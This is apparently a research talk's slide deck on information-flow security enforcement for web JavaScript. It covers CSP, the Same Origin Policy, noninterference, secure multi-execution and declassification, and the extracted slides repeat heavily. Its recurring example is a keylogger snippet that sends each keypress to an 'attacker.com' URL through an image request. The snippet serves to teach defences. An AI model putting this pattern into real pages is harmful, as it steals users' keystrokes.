Language-based Information Flow 
Security Enforcements

Tamara Rezk  
INRIA

Joint work with  
Nataliia Bielova, Raimil Cruz,  
Willem De Groef, Dominique Devriese, José  
Fragoso-Santos, Deepak Garg, Thomas Jensen,  
Frank Piessens, Alan Schmitt, Bernard Serpette,  
Francis Somé, Vineet Rajani, Éric Tanter

GT Verif  
30/05/17
Information Flow Problem

```javascript
var url = 'http://attacker.com/?=\';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}
```

secret input

public output
Information Flow Problem

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}
```

How can attacker code execute in my browser?

- If user goes to attacker’s server
- Fishing
- ...


How can attacker code execute in my browser?

**XSS vulnerability**

---

**Cross-site scripting vulnerability found on Google's French website**

by Rene Millman  
Thursday 15 September 2016  
0 Comments

---

Sacre Bleu!: A type of XSS vulnerability has been discovered in the French version of Google.

A security researcher has discovered a flaw on Google's main French domain, [www.google.fr](http://www.google.fr), that would have allowed hackers to malicious code, usually in the form of Javascript, to another user.
How can attacker code execute in my browser?

**XSS vulnerability**

eBay XSS bug left users vulnerable to (almost) undetectable phishing attacks

---

Sacre Bleu!: A type of XSS vulnerability has been discovered in the French version of Google.

A security researcher has discovered a flaw on Google's main French domain, www.google.fr, that would have allowed hackers to malicious code, usually in the form of Javascript, to another user.
How can attacker code execute in my browser?

**XSS vulnerability**

eBay XSS bug left users vulnerable to (almost) undetectable phishing attacks

Cross-site scripting vulnerability in the French website

This Facebook bug could have allowed hackers to take over your account
How can attacker code execute in my browser?

**XSS vulnerability**

eBay XSS bug left users vulnerable to (almost) undetectable phishing attacks

**Cross-site scripting vulnerability French website**

by Rene Millman

Thursday 15 September 2016

This Facebook bug could have allowed hackers to take over an account

**Widespread XSS Vulnerabilities in Ad Network Code Affecting Top Tier Publishers, Retailers**

For most of us, the title of this post may not be very surprising. Any time we allow 3rd party scripts to run on our sites, we effectively relinquish control of the code that executes on the client. This is particularly important when integrating ad network scripts since they are inherently more dynamic than most other types of integrations, the cause of which is the ad industry’s general fragmented nature. For any given page view, an ad unit impression can be
How can attacker code execute in my browser?
How can attacker code execute in my browser?
Information Flow Problem

var url = 'http://attacker.com/?=\'';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}

How can attacker code execute in my browser?

- If user goes to attacker’s server
- Fishing
- XSS
- If user goes anywhere with third-party code
Information Flow Problem

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}

How can we protect from information leaks?
Information Flow Problem

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}
```

How can we protect from this kind of leaks?

- Content Security Policy
- Same Origin Policy
- Capability systems
- Information Flow Enforcement
Information Flow Problem

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}
```

How can we protect from this kind of leaks?

- Content Security Policy
- Same Origin Policy
- Capability systems

[CSF’16: On access control, capabilities, their equivalence, and confused deputy attacks]
Information Flow Problem

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}
```

How can we protect from this kind of leaks?

- Content Security Policy
- Same Origin Policy
- Capability systems
- Information Flow Enforcement
Content Security Policy (CSP)

- Declare trusted contents to the browser
- Browser blocks unknown contents

Guarantee: unknown code will not steal user data

```
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
  var leak = e.charCode;
  new Image().src = url + leak;
}
```

Refused to load the script 'http://attacker.com/evil.js' because it violates the following Content Security Policy directive: "script-src 'self' third.com".

```
http://trusted.com
```

```
<http://trusted.com>  
<script>
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
  var leak = e.charCode;
  new Image().src = url + leak;
}
</script>
```
Content Security Policy (CSP)

- Declare trusted contents to the browser
- Browser blocks unknown contents

Guarantee: unknown code will not steal user data

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
  var leak = e.charCode;
  new Image().src = url + leak;
}
```

```html
<iframe src='othertrustedpage.html'></iframe>
```
Content Security Policy (CSP)

Inconsistencies with the Same Origin Policy

[WWW'17 On the Content Security Policy Violations due to the Same-Origin Policy]

analyzed 10K sites: 94% with CSP vulnerable including sites as amazon, imdb, twitter, etc

---

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
  var leak = e.charCode;
  new Image().src = url + leak;
}

<iframe src = othertrustedpage.html></iframe>
```
Same Origin Policy

- it allows programmer to isolate content inside a frame
- for the example below: leaks will still flow to attacker server but only for keys pressed inside the frame

```html
http://trusted.com

```
More fine grain enforcement: Information Flow Security

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}
```

secret input

public output
Information Flow Security

Security Lattice

secret

public
Information Flow Security

Security Property: Noninterference

\[ P = P \]
Information Flow Security

Security Property: Noninterference?

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}
```
Information Flow Security

Security Property: Noninterference?

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
  var leak = e.charCode;
  new Image().src = url + leak;
}
```

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
  var leak = e.charCode;
  new Image().src = url + leak;
}
```
Information Flow Security

This program does not comply with Noninterference

User presses key 100

```
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}
```

User presses key 101

```
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}
```
Information Flow Security

Security Property: Noninterference

Not a trace property, also in a computational flavor
[POPL’08 Cryptographically Sound Implementations
for Typed Information-Flow Security]

How to enforce it?
Information Flow Security

Security Property: Noninterference
Not a trace property, also in a computational flavor
[POPL'08 Cryptographically Sound Implementations for Typed Information-Flow Security]

How to enforce it?

- Static Analysis
[JCS'96 Volpano&Smith]
[CSFW'04 Secure Information Flow by Self Composition]
Not appropriate for the web context

- Dynamic or Hybrid Enforcements
[SEC'14 An inlined monitor for JavaScript]
[TGC'14 Modular Extensions of Web Monitors]
[TGC'15 Hybrid Typing for JavaScript]
Information Flow Security

How to enforce it?

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}
```

- Static Analysis
  
  [JCS’96 Volpano&Smith]
  [CSFW’04 Secure Information Flow by Self Composition]
  Not appropriate for the web context

- Dynamic or Hybrid Enforcements
  
  [SEC’14 An inlined monitor for JavaScript]
  [TGC’14 Modular Extension of Web Monitors]
  [TGC’15 Hybrid Typing for JavaScript]
Information Flow Security

How to enforce it?

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}
```

- Static Analysis
  [jcs’96 Volpano&Smith]
  [CSFW’04 Secure Information Flow by Self Composition]
  Not appropriate for the web context

- Dynamic or Hybrid Enforcements
  [SEC’14 An inlined monitor for JavaScript]
  [TGC’14 Modular Extension of Web Monitors]
  [TGC’15 Hybrid Typing for JavaScript]
Information Flow Security

How to enforce it?

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}
```

- Static Analysis
  - [JCS’96 Volpano&Smith]
  - [CSFW’04 Secure Information Flow by Self Composition]
  - Not appropriate for the web context

- Dynamic or Hybrid Enforcements
  - [SEC’14 An inlined monitor for JavaScript]
  - [TGC’14 Modular Extension of Web Monitors]
  - [TGC’15 Hybrid Typing for JavaScript]
A taxonomy of information flow monitors [POST’16]
A taxonomy of information flow monitors [POST’16]

We study 5 classes of monitors:

• NSU (no sensitive upgrade) [Zdancewic ’02]

• PU (permissive upgrade) [Austin and Flanagan ’10]

• HM (hybrid monitor) [LeGuernic et al ’06]

• MF (multiple facets) [Austin and Flanagan ’12]

• SME (secure multi execution) [Devriese and Piessens ’10]
Taxonomy: Soundness

Before [POST’16] work, we knew:

[Devriese and Piessens SP'10]

SME
Taxonomy: Soundness

With [POST’16] work, we learn:
# Taxonomy: Transparency

Previous to [POST’16] work: HM and NSU/PU incomparable

[Hedin Bello Sabelfeld et al. 15]

<table>
<thead>
<tr>
<th>True Transparency</th>
<th>False Transparency</th>
</tr>
</thead>
<tbody>
<tr>
<td>SME</td>
<td>SME</td>
</tr>
<tr>
<td>MF</td>
<td>MF</td>
</tr>
<tr>
<td>HM</td>
<td>HM</td>
</tr>
<tr>
<td>PU</td>
<td>PU</td>
</tr>
<tr>
<td>NSU</td>
<td>NSU</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>NSU</th>
<th>PU</th>
<th>HM</th>
<th>MF</th>
<th>SME</th>
</tr>
</thead>
<tbody>
<tr>
<td>SME</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>MF</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>HM</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>PU</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NSU</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Spot the difference: MF and SME [ESORICS’16]

• MF (multiple facets) [Austin and Flanagan ’12]
• SME (secure multi-execution) [Devriese and Piessens ’10]

“Faceted evaluation is a technique for simulating secure multi-execution with a single process”

“Austin and Flanagan [6] show how secure multi-execution can be optimized by executing a single program on faceted values”
Secure Multi Execution (SME):

[Devriese and Piessens Oakland’10]
Secure Multi Execution (SME):
[Devriese and Piessens Oakland'10]

Execution Low Process

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}
```

secret input

default input: example key 100

public output
Information Flow Security

This program does not comply with Noninterference

User presses key 102

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}
```

User presses key 101
Secure Multi Execution

This program does comply with Noninterference.

```javascript
var url = 'http://attacker.com/?=';
onkeypress = function(e) {
    var leak = e.charCode;
    new Image().src = url + leak;
}
```

User presses key 101

default input: key 100

User presses key 101

default input: key 100

default input: key 102

Presses key 102
Secure Multi Execution (SME)
Is Noninterference or SME enough in practice?

```javascript
var d=0, url = 'http://analytics.com/?=';
onkeypress = function(e) {
    if (e.charCode = 101) d=1;
}
onunload = function() {
    $.ajax(url+d);
}
```
Secure Multi Execution (SME)
Is Noninterference or SME enough in practice?

```javascript
var d=0, url = 'http://analytics.com/?=';
onkeypress = function(e) {
    if (e.charCode = 101) d=1;
}
onunload = function() {
    $.ajax(url+d);
}

Google analytics library used in 86% of top 10K sites
https://webstats.inria.fr/
```
Declassification
[Li&Zdancewic POPL’05 – Relaxed Noninterference]
Each point in the lattice is a downgrading policy

\[
\begin{align*}
\text{public} & \quad \text{secret} \\
\text{top secret} & = \{ \lambda x. \text{String."undefined"} \} \\
\text{secret} & = \{ \lambda x. \text{String. \lambda y. String.x==y} \} \\
\text{public} & = \{ \lambda x. \text{String.x} \}
\end{align*}
\]
Information Flow Security

Security Property: Noninterference
Information Flow Security

Security Property: Declassification
\[ v1 =_f v2 \text{ iff } f(v1) = f(v2) \]

secret = function \( f \)
Secure Multi Execution with Declassification

[CSF’14 Stateful Declassification Policies for Event-Driven Programs]

Declassifier D generalizes information flow labels as in [Li&Zdancewic POPL’05]
Secure Multi Execution (SME)
with Declassification

```javascript
var d=0, url = 'http://analytics.com/?=';
onkeypress = function(e) {
    if (e.charCode = 101) d=1;
}
onunload = function() {
    $.ajax(url+d);
}
```
Secure Multi Execution (SME) with Declassification

```javascript
var d=0, url = 'http://analytics.com/?=';
onkeypress = function(e) {
    if (e.charCode = 101) d=1;
}
onunload = function() {
    r = declassify(d); $.ajax(url+r);
}
```

\[ D(s,i) = \begin{cases} 
    (True, Release 1, KeyPress 100) & \text{if } i = \text{KeyPress 101} \text{ and not } s \\
    (s, Unchanged, KeyPress 100) & \text{else}
\end{cases} \]
Password Checker does not comply with Noninterference

```javascript
var password;
var input;
var output;

output = (password == input)
```
Declassification
[Li&Zdancewic POPL’05]

medium = {\(\lambda x.\text{String}. \lambda y.\text{String}. x == y\)}

\[
\begin{align*}
\text{var} & \text{ password;} \\
\text{var} & \text{ input;} \\
\text{var} & \text{ output;} \\
\text{output} & = \text{(password} == \text{ input)}
\end{align*}
\]

secret = {\(\lambda x.\text{String}. "\text{undefined}" \)}

classification = {\(\lambda x.\text{String}. x \)}
Declassification

An Object Oriented perspective
[ECOOP’17, Type Abstraction for Noninterference]

String

\[
H = \{ \lambda x. \text{String."undefined"} \}
\]

\[
\uparrow = \{ \}
\]

\[
: = \{ \text{...full String interface ...} \}
\]

\[
P = \{ \lambda x. \text{String}. \lambda y. \text{String}. x == y \}
\]

\[
: = \{ \text{==}(y : \text{String}) : \text{String} \}
\]

\[
\uparrow
\]

\[
L = \{ \lambda x. \text{String}. x \}
\]

\[
= \{ \}
\]

We use object interfaces as security levels.

String \equiv \text{String} \uparrow \text{String}
Summary

Language-based Information Flow Security

- provides a fine grain mechanism to specify and enforce propagation of information
- strict property: noninterference (TINI, TSNI, computational...)
- relaxed properties: declassification (another zoo, RNI)

Enforcements:

Dynamic Mechanisms
- State of the Art: Secure Multi Execution and Multiple Facets

Purely Static
- Not convenient for web applications
- Promising direction in using parametricity properties for soundly type declassification policies